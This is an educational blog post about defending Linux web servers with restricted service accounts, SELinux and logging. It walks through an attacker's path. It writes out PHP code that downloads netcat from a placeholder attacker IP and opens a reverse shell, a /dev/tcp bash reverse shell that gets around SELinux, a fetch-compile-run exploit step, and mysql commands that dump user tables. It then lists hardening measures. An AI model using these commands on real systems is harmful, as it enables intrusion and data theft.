Webserver defense-in-depth - Hackers vs SELinux and restricted accounts

Web attacks are often a first phase of an attack against internet-facing Linux servers. However, these days unless a system is very badly configured, internet-facing services are usually run with a service account that has very limited rights, such as "apache".

This has a huge security benefit as part of a defense-in-depth policy. Having this limited service account means that, even if vulnerabilities are found in the website, attackers can be prevented from escalating privileges and gaining complete control of the system.

If you are currently running internet-facing services as root you should REALLY look at this issue and do something about it, because in this situation a single common website vulnerability could lead an attacker quickly to full system compromise. Game over.

Having said this, let's look at some of the other components for defense-in-depth of web-servers.

This information is intended for educational purposes. It is important to understand these issues if you design or maintain systems, but please only test in your own test environment.

Let's work with an example

Say a company is running a web-server that contains website vulnerabilities that they are unaware of.

However, on the plus side, say their web-server is running as "apache", and their platform is the latest RedHat Linux 5.6 (with up-to-date patches)

If an attacker could use the website vulnerabilities to introduce server-side code, they may aim to get a reverse-shell with some PHP code like this example:

echo shell_exec('wget http://-attackersip-/nc -O /tmp/nc');

echo shell_exec('chmod +x /tmp/nc');

echo shell_exec('/tmp/nc -attackersip- -attackersport- -e /bin/bash');


If they can write this code to somewhere and run it from the web-server this would effectively upload the netcat tool from the attackers system to the web-server, and use it to connect back to the attacker giving them a command shell in the context of the web-server account. (good job the web-server was not running as root!)

The attacker would get a reverse shell, as apache, which they would then need to find a way to escalate (either by a kernel exploit, or some other local privilege escalation exploit).

This may take them some time, and they may be detected whilst they try to do this.

(It's a maybe, but if the manage it they can then cover their tracks.)


A more secure platform - with SELinux

OK, so lets say that the web-server is running as "apache", the system is RedHat Linux 5.6 (with up-to-date patches), and SELinux is enabled, with the default security configurations.

SELinux can prevent running of files and services. This can be pretty confusing for an attacker who is not familiar with SELinux because although they may get some limited control, most of their commands will fail for no apparent reason.

This can stop the previous netcat shell example from working, because netcat is trying to make an outbound connection to the attacker as "apache".



Working around SELinux

To work around this above shell issue an attacker can use a netcat-less shell technique, to get a command shell. (again, this is PHP)

echo shell_exec('cd /tmp && exec /bin/bash 0</dev/tcp/-attackersip-/-attackersport- 1>&0 2>&0 &');


This shell technique has several advantages:

• It provides a reasonably useable command shell
• It does not require any code to be uploaded to the victim server
• It bypasses SELinux in most situations
• It works on most versions of Linux, and even Mac OSX or Solaris!
• The shell, file ("0"), and directory may need to be changed depending on availability (The directory and file "0" must be writable).

More SELinux problems for the attacker

So, let's say that the attacker manages to get a reverse-shell as the "apache" user. All is not lost because this shell is very limited, firstly by the rights of apache, and secondly by SELinux.

The attacker is limited to the type of commands they can run, and what they can see. They are in a jail, and they are trying to dig their way out...


What can the attacker do?

If some commands are possible for the attacker he will try to enumerate his way around the operating system, looking for holes.


Oddly, on RedHat (or Centos) as of 4.8 or 5.6, even though "/bin/ls" is blocked by SELinux by default "/usr/bin/dir" is not.

So whilst an attacker can't do:

/bin/ls -al /tmp

The can do:

/usr/bin/dir -al /tmp

However "dir" is more limited than "ls" and does not give the file-ownership and rights for files "apache" does not own. It can enable an attacker to enumerate files and directories (rather than fumbling their way around in the dark) so the attacker can continue to enumerate the system.

Also, with SELinux, both "ls" and "dir" support the -Z option, which shows the SELinux context for files and directories. (However note that; each of the lines with a "?" will trigger an SELinux alert)


dir -alZ
drwxrwxrwt  root   root   system_u:object_r:tmp_t:s0       .
drwxr-xr-x  root   root   system_u:object_r:root_t:s0      ..
?---------  ?      ?                                       .ICE-unix
?---------  ?      ?                                       .X0-lock
?---------  ?      ?                                       .X11-unix
?---------  ?      ?                                       .font-unix
?---------  ?      ?                                       .gdm_socket
?---------  ?      ?                                       VMwareDnD
drwxr-xr-x  apache apache root:object_r:tmp_t:s0           enlightenment
drwx------  centos centos user_u:object_r:tmp_t:s0         gconfd-centos
drwx------  root   root   root:object_r:tmp_t:s0           gconfd-root
?---------  ?      ?                                       ks-script-6qJjjE
?---------  ?      ?                                       ks-script-6qJjjE.log
?---------  ?      ?                                       libno_ex.so.1.0
?---------  ?      ?                                       mapping-centos
?---------  ?      ?                                       mapping-root
-rwxr-xr-x  apache apache root:object_r:httpd_tmp_t:s0     nc
drwx------  centos centos user_u:object_r:tmp_t:s0         vmware-centos
?---------  ?      ?                                       vmware-root

The attacker can confirm if SELinux is enabled, by running:

sestatus -v

SELinux status:                 enabled
SELinuxfs mount:                /selinux
Current mode:                   unknown (Permission denied)
Mode from config file:          error (Permission denied)
Policy version:                 unknown (Permission denied)
Policy from config file:        targeted

Process contexts:
Current context:                system_u:system_r:httpd_t:s0
Init context:                   unknown (Permission denied)

File contexts:
Controlling term:               unknown (Bad address)
/etc/passwd                     system_u:object_r:etc_t:s0
/bin/bash                       system_u:object_r:shell_exec_t:s0
/bin/sh                         system_u:object_r:bin_t:s0 -> system_u:object_r:shell_exec_t:s0
/lib/libc.so.6                  system_u:object_r:lib_t:s0 -> system_u:object_r:lib_t:s0
/lib/ld-linux.so.2              system_u:object_r:lib_t:s0 -> system_u:object_r:ld_so_t:s0

There are often lots of anomalies in SELinux policies, which can help an attacker get a bigger foothold on a system.

On RedHat 5.6 for example, by default the attacker can also use several other useful commands such as:

uname -a
Linux localhost.localdomain 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:23:01 EDT 2011 i686 athlon i386 GNU/Linux

..in order to enumerate the system version and kernel - before attempting kernel exploits.

The attacker can use "wget", or "echo", and "chmod" to write executable files into a directory such as "/tmp/".


Also, in my tests I could use gcc to compile source code for exploits on the system. For example:

cd /tmp

wget http://-attackersip-/exploit.c

gcc exploit.c -o exploit

./exploit

Unchecked, it is likely that a highly skilled attacker will eventually find a privilege escalation exploit that works.

However, there are lots of commands that will fail because of SELinux, and these failures get logged.


Detecting the attack with logging

Meanwhile the attackers failed command attempts are getting logged by SELinux, and if savvy administrators have alerting configured, or regularly check all their logs, the hacking attempts can be detected.

In reality system administrators are very busy, so these are big ifs (unless fully configured SIEM systems are deployed).

For SELinux logging, if the auditing daemon is running (as it is by default on RedHat) then these messages will be in "/var/log/audit/audit.log" (otherwise "/var/log/messages", both of which should only be accessible by privileged users).

To manually search this log for failures in the context of the web-server you could do something like

cat /var/log/audit/audit.log | grep "type=AVC" | cut -d":" -f4

  denied  { getattr } for  pid=20137 comm="bash" path="/bin/rpm" dev=sda2 ino=351687 scontext=system_u



It is possible for an attacker to work away without triggering any SELinux alerts, but it is very difficult, and ideally an attacker needs a replica system which has a very similar policy to practise on.


It's a bit like playing the game operation... one false move and bzzzt... the alarm goes off.

More subtle attacks

However, even if direct privilege-escalation is not possible, with a remote shell as "apache", an attacker can do lots of things in the context of the web-server. Dependent on how the website and databases are configured, other attacks may be possible (even if the server is not fully compromised).

Examples of this could include active-session hijacking using server-side tokens in "/var/lib/php/session/" or "/tmp". This may allow an attacker to gain enough information to login to the website as active users, and attack their accounts.

This can often be done simply by using an attacking proxy (such as burp) to add the gained session token to a browser session. Of course, this can also be scripted to enable fast attacks against any active users.



Attacking via the database

Alternatively, running in the context of the web-server it is always possible to view other sensitive information, such as server-side code (PHP for example) and steal login details for the database.

The attacker could then proceed to attack the database, to steal information, or to write and read files on the filesystem as the database user.

If an attacker could get login details for a mysql database from server-side code, they could execute SQL queries such as:

mysql --user=databaseuser --password='password' websitedb -e "select * from users;"> output.txt

Alternatively, they could read or write files as the mysql user, which may help in their escalation process.

mysql --user=databaseuser --password='password' websitedb -e "SELECT 'whatever data you like' INTO OUTFILE '/tmp/test';"


If the database is running as "root", then you can probably see how this could lead to a full system compromise. (The database could be on another system, in which case it is this secondary system that could be compromised.)

SELinux can't prevent access to the database for "apache", because the website user needs to interact with it in order for the site to work, but maybe some of these other commands can be locked-down with a tougher SELinux policy.


What can you do about these issues? Add more security...

1) Identify and fix the website vulnerabilities.

This could be a difficult and lengthy process, which requires a high level of skill, especially in a custom-built websites, but should be done.

2) Limit outbound connections from the web-server on a firewall

For example for the web-server to be only allowed outbound access, just on port 80, and via a web-proxy that has some content-security.

3) Checking logs and reacting to security incidents

Should be done regularly, but is often omitted. Some sysadmins are unaware of the issues.

4) Run the database, the web-server, and any other services with restricted service accounts, such as "apache", "mysql", "ftp".

Never use root, this makes a Hackers life too easy

5) Deploy a tougher SELinux policy to block more commands for the web-server and database users

This can be difficult to do, and I would not suggest doing it to a production server without thorough testing beforehand. SELinux is complex and you can easily mess-up a live system with a simple oversight.

6) Have a look in your "/tmp" directories every now and then

If hackers are messy, they may well have left something behind.

7) Run a host-based or network-based IDS

Deploying an Intrusion Detection System (like snort for example) can alert you to common signatures from hacker activity.